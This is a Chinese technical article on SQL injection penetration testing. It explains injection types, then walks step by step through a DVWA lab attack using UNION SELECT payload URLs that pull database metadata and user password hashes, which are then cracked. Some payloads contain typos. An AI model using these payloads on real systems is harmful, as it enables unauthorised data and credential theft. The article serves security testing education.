中興通訊股份有限公司 張曉翠
隨著網絡發展迅速,網絡覆蓋了人民生活的方方面面,個人及企業信息泄露事件頻頻發生,造成人身財產安隱患,由此引入的滲測試越來來越受到網絡維護人員的重視,在web漏洞中,SQL注入漏洞一直處于高泄露率,需要滲透測試人員在產品研發階段發現漏洞,并提交漏洞報告協助開發人員規避漏洞。
SQL全稱是結構化查詢語言,SQL注入是一種將惡意的SQL代碼插入或添加到應用的輸入參數的攻擊,攻擊者探測出開發者編程過程中的漏洞,利用這些漏洞,巧妙的構造SQL語句,獲取到數據庫中的涉密信息,甚至對數據庫系統的內容進行直接檢索或修改。
凡是與數庫交互的位置都有可能產生SQL注入漏洞,數據庫分為很多種,有 oracle、 MYSQL、SQL Serve、DB2等,操作數據庫的語言即SQL語句,如果攻擊者能夠對與服務器交互的SQL語句進行修改,服務端沒有進行應有的過慮、校驗等,那么就造成了SQL注入漏洞,使攻擊者能獲得某些敏感信息。
SQL注入漏洞可以分為如下兩種:數字型和字符型。
1.數字型SQL注入漏洞
當輸入的參數為整形時,如果存在SQL注入漏洞,則可以認為是數字型注入。例如SQL語句:Select * from tablename where id=1;那么語句 Select * from tablename where id=1 and 1=2應該是語句執行成功,但是查詢結果為空,因為1=2始終為假。而語句 Selcet *from tablename where id=1 and 1=1應該是語句執行成功,且查詢結果與原語句一致。
通過構造如上的輸入參數來判定是否存在數字型SQL注入漏洞。
2.字符型SQL注入漏洞
當輸入的參數為字符型時,如果存在SQL注入漏洞,則可以認為是字符型注入。例如SQL語句:Select * from tablename where username=’admin’;那么語句 Select * from tablename where username=’admin’ and 1=2應該是語句執行成功,但是查詢結果為空,因為1=2始終為假。而語句 Select * from tablename where username=’admin’ and 1=1應該是語句執行成功,且查詢結果與原語句一致。
通過構造如上的輸入參數來判定是否存在字符型SQL注入漏洞,注意對于字符型注入,通常都需要閉合字符串,需要注釋掉多余的代碼。
發現SQL注入漏洞后,可以利用SQL標準,查詢數據庫的敏感信息,常用語句如下:
1.order by語句,Select columnname1, columname2 from tablename where username=’admin’ order by paramindex,其中參數的序號,當注入的 paramindex超出查詢參數個數,則會返回失敗。
2.union select語句,聯合查詢語句要求 union內部的 select語句查詢的列數必須一致,同時每條 select語句中列的順序必須相同。由此我們可以用來猜測字段數,及查詢哪些字段可以用來暴敏感數據。
3.information_schema,在SQL注入中要獲取表格信息常用到這個數據庫視圖,類似與數據字典,提供了訪間數據庫元數據的方式,如數據庫名或表名,列類型,訪問權限等。其中常用的是informat ion _schema.tables和information_schema.columns。
1.發現注入漏洞;2.猜測字段數;3.査詢數據庫版本、當前用戶、系統用戶;4.獲取數據庫名;5.獲取數據庫表格,發現敏感表格;6.針對敏感表格數據進行原數據暴露。
通過對于dvwa平臺的SQL注入漏洞進行攻擊演示。搭建dvwa漏洞平臺,進入SQL注入漏洞練習頁面。
1.發現SQL注入漏洞:http://xxx/vulnerabilities/sqli/?id=1and1=2&Submit=Submit#;
2.猜測字段數:
使用 order by方法:http://xxx/vulnerabilities/sqli/?id=1’ order by 2--+&Submit=Submit#;或者使用 union select方法:http://xxx/vulnerabilities/sqli/?id=1’ unionselect1, 2-- -&Submit= Submit#;發現字段數為2;
3.查詢數據庫版本,系統用戶,當前用戶:
http://xxx/vulnerabilities/sqli/?id=1’ unionselect version(),system_user()-- -&Submit =Submit#;
http://xxx/vulnerabilities/sqli/?id=1’ unionselect version(),current_user()-- -&Submit =Submit#;
發現數據庫版本為5.5.36-log;系統用戶為root@localhost;當前用戶為root@localhost;
4.獲取數據庫名長度:http://xxx/vulnerabilities/sq1i/?id=1’union select1, length(database())-- -&Submit=Submit#;獲取到數據庫名長度為4。
5.獲取數據庫名稱:http://xxx/vulnerabilities/sq1i/?id=1’ union select1, substring(database(),1,4)-- -&Submit=Submit#;對于有些對輸入參數進行了限制,可以使用 ascii函數來分別獲取每個字節:
http://xxx/vulnerabilities/sq1i/?id=1’ union select ascii(substring(database(),1,1)), ascii(substring(database(),2,1))-- -&Submit=Submit#;
http://xxx/vulnerabilities/sq1i/?id=1’ union select ascii(substring(database(),3,1)), ascii(substring(database(),4,1))-- -&Submit=Submit#;
獲取到ascii值第一位的是100,第二位是118,第三位是119,第四位是97;換算后為:dvwa。
6.獲取數據庫表格http://xxx/vulnerabilities/sqli/?id=1’ unionselect length(table_name), (table_name)frominformation_schema.tableswhere table_schema=database()-- -&Submit=Submit#;
從表格名稱發現可用敏感表格user;
7.獲取表格user的列名稱:
http://xxx/vulnerabilities/sqli/?id=1’ unionselect length(column_name),(column_name) from information_schema.column where table_schema=database() and table_name=’users’;-- --&Submit=Submit#;或者避免開雙引號可能引起語句閉合的影響,用十六進制來表示user:http://xxx/vulnerabilities/sqli/?id=1’unionselect length(column_name),(column_name) from information_schema.column where table_schema=database() and table_name=0x7573657273-- - -&Submit=Submit#;發現關鍵字password;
8.獲取密碼 :
http://xxx/vulnerabilities/sqli/?id=1’ unionselect first_name,password form users -- -&Submit#;觀察密碼是32位,猜測是md5加加密,用md5破解網址破解密碼。最終完成獲取5個用戶密碼,獲得了用戶敏感信息。
本文通過對SQL注入漏洞類型及原理的講解,并對dvwa平臺進行SQL注入漏洞攻擊演示,對SQL注入漏洞滲透測試有指導意義。